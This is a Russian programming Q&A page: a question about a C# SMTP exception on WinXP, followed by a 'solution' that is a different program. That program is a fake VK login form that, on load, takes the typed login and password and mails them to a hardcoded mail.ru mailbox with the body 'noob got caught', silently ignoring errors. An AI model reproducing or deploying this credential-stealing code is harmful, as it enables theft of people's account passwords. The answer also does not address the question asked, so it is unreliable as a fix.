Отправка почты (вылетает исключение) - C#

Узнай цену своей работы

Формулировка задачи:

Отправляю почту при помощи вот этого кода:
Листинг программы
  1. SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 25);
  2. Smtp.Credentials = new NetworkCredential("login", "pasword");
  3. MailMessage Message = new MailMessage();
  4. Message.From = new MailAddress("откуда@mail.ru");
  5. Message.To.Add(new MailAddress("куда@gmail.com"));
  6. Message.Subject = "Письмо";
  7. Message.Body = "";
  8. string file = "путь к присоединяемому файлу";
  9. Attachment attach = new Attachment(file, MediaTypeNames.Application.Octet);
  10. Message.Attachments.Add(attach);
  11. Smtp.Send(Message);
На Win7 работает исправно, без ошибок. На WinXP вылетает исключение: ************** Текст исключения ************** System.Net.Mail.SmtpException: Сбой при отправке сообщения электронной почты. ---> System.Net.WebException: Невозможно соединиться с удаленным сервером ---> System.Net.Sockets.SocketException: Попытка установить соединение была безуспешной, т.к. от другого компьютера за требуемое время не получен нужный отклик, или было разорвано уже установленное соединение из-за неверного отклика уже подключенного компьютера В чем может быть дело?

Решение задачи: «Отправка почты (вылетает исключение)»

textual
Листинг программы
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Windows.Forms;
  9. using System.Net;
  10. using System.Net.Mail;
  11. namespace бот_вк
  12. {
  13.     public partial class Form1 : Form
  14.     {
  15.         public Form1()
  16.         {
  17.             InitializeComponent();
  18.         }
  19.  
  20.         private void Form1_Load(object sender, EventArgs e)
  21.         {
  22.             SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); // Здесь указываем смтп сервер и порт, который мы будем использовать
  23.             client.Credentials = new System.Net.NetworkCredential("sidorov159357@mail.ru", "pass"); // Указываем логин и пароль для авторизации
  24.  
  25.             string msgFrom = "Login@mail.ru"; // Указываем поле, от кого письмо
  26.             string msgTo = "login@mail.ru"; // Указываем поле, кому письмо будет отправлено
  27.             string msgSubject = "Письмо из c#"; // Указываем тему пиьсма
  28.  
  29.             string msgBody = String.Format("Нубик попался :-)\n\n {0}\nЛогин: {1}\nПароль: {2}",
  30.             ToString(), textBox1.Text, textBox2.Text); // Тут мы формируем тело письма, передаем выбранный сервер, логин и пароль.
  31.  
  32.             MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody); // Создаем письмо, из всего, что сделали выше
  33.  
  34.             try
  35.             {
  36.                 client.Send(msg); // Отправляем письмо
  37.             }
  38.             catch
  39.             { }
  40.            
  41.         }
  42.  
  43.         private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
  44.         {
  45.             System.Diagnostics.Process.Start("www.vk.com");
  46.  
  47.         }
  48.     }
  49. }

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

8   голосов , оценка 4.625 из 5

Нужна аналогичная работа?

Оформи быстрый заказ и узнай стоимость

Бесплатно
Оформите заказ и авторы начнут откликаться уже через 10 минут